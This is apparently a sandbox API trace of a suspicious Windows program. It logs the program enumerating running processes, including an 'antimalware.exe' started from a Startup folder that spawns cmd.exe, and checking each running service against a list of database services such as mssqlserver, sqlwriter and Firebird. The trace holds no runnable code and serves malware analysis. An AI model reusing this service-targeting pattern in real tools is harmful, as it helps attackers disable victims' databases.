	[0179.249] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0179.249] lstrlenW (lpString="winlogon.exe") returned 12
	[0179.249] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0179.250] lstrlenW (lpString="services.exe") returned 12
	[0179.250] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0179.251] lstrlenW (lpString="lsass.exe") returned 9
	[0179.251] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0179.252] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0179.252] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0179.253] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0179.253] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.254] lstrlenW (lpString="svchost.exe") returned 11
	[0179.254] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.255] lstrlenW (lpString="svchost.exe") returned 11
	[0179.255] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0179.256] lstrlenW (lpString="dwm.exe") returned 7
	[0179.256] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.256] lstrlenW (lpString="svchost.exe") returned 11
	[0179.257] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.257] lstrlenW (lpString="svchost.exe") returned 11
	[0179.257] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.258] lstrlenW (lpString="svchost.exe") returned 11
	[0179.258] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.259] lstrlenW (lpString="svchost.exe") returned 11
	[0179.259] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.260] lstrlenW (lpString="svchost.exe") returned 11
	[0179.260] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.261] lstrlenW (lpString="svchost.exe") returned 11
	[0179.261] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.261] lstrlenW (lpString="svchost.exe") returned 11
	[0179.261] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.262] lstrlenW (lpString="svchost.exe") returned 11
	[0179.262] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.263] lstrlenW (lpString="svchost.exe") returned 11
	[0179.263] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.264] lstrlenW (lpString="svchost.exe") returned 11
	[0179.264] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0179.265] lstrlenW (lpString="spoolsv.exe") returned 11
	[0179.265] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.265] lstrlenW (lpString="svchost.exe") returned 11
	[0179.265] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0179.266] lstrlenW (lpString="audiodg.exe") returned 11
	[0179.266] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0179.267] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0179.267] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0179.269] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0179.269] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0179.270] lstrlenW (lpString="sihost.exe") returned 10
	[0179.270] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0179.271] lstrlenW (lpString="Memory Compression") returned 18
	[0179.271] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.271] lstrlenW (lpString="svchost.exe") returned 11
	[0179.272] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0179.272] lstrlenW (lpString="taskhostw.exe") returned 13
	[0179.272] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0179.273] lstrlenW (lpString="msoia.exe") returned 9
	[0179.273] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0179.274] lstrlenW (lpString="explorer.exe") returned 12
	[0179.274] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0179.275] lstrlenW (lpString="SearchUI.exe") returned 12
	[0179.275] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0179.276] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0179.276] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0179.277] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0179.277] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0179.278] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0179.278] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0179.279] lstrlenW (lpString="dllhost.exe") returned 11
	[0179.279] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0179.279] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0179.280] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0179.280] lstrlenW (lpString="cmd.exe") returned 7
	[0179.280] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0179.281] lstrlenW (lpString="cmd.exe") returned 7
	[0179.281] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0179.282] lstrlenW (lpString="conhost.exe") returned 11
	[0179.282] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0179.283] lstrlenW (lpString="conhost.exe") returned 11
	[0179.283] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0179.574] CloseHandle (hObject=0x30c) returned 1
	[0179.574] Sleep (dwMilliseconds=0x1f4) 
	[0180.415] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ddf80
	[0180.415] EnumServicesStatusExW (in: hSCManager=0x6ddf80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0
	[0180.416] GetLastError () returned 0xea
	[0180.416] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1bc4) returned 0x43190d8
	[0180.416] EnumServicesStatusExW (in: hSCManager=0x6ddf80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43190d8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43190d8, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1
	[0180.416] CloseServiceHandle (hSCObject=0x6ddf80) returned 1
	[0180.417] lstrlenW (lpString="Appinfo") returned 7
	[0180.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0180.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0180.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0180.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0180.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0180.417] lstrlenW (lpString="AppXSvc") returned 7
	[0180.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.417] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0180.417] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0180.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0180.417] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0180.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.417] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0180.417] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0180.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0180.417] lstrlenW (lpString="Audiosrv") returned 8
	[0180.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0180.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0180.418] lstrlenW (lpString="BFE") returned 3
	[0180.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0180.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0180.418] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0180.418] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0180.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0180.418] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0180.418] lstrlenW (lpString="CDPSvc") returned 6
	[0180.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0180.418] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0180.418] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0180.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0180.418] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0180.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0180.418] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0180.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.419] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0180.419] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0180.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0180.419] lstrlenW (lpString="CryptSvc") returned 8
	[0180.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.419] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0180.419] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0180.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0180.419] lstrlenW (lpString="DcomLaunch") returned 10
	[0180.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.419] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0180.419] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0180.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0180.419] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0180.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.419] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0180.419] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0180.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0180.419] lstrlenW (lpString="Dhcp") returned 4
	[0180.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0180.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0180.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0180.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0180.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0180.420] lstrlenW (lpString="Dnscache") returned 8
	[0180.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0180.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0180.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0180.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0180.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0180.420] lstrlenW (lpString="DPS") returned 3
	[0180.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0180.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0180.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0180.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0180.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0180.420] lstrlenW (lpString="DusmSvc") returned 7
	[0180.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0180.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0180.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0180.420] lstrlenW (lpString="EventLog") returned 8
	[0180.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0180.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0180.420] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0180.420] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0180.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0180.420] lstrlenW (lpString="EventSystem") returned 11
	[0180.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0180.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0180.421] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0180.421] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0180.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0180.421] lstrlenW (lpString="FontCache") returned 9
	[0180.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0180.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0180.421] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0180.421] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0180.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0180.421] lstrlenW (lpString="gpsvc") returned 5
	[0180.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0180.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0180.421] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0180.421] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0180.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0180.421] lstrlenW (lpString="iphlpsvc") returned 8
	[0180.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0180.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
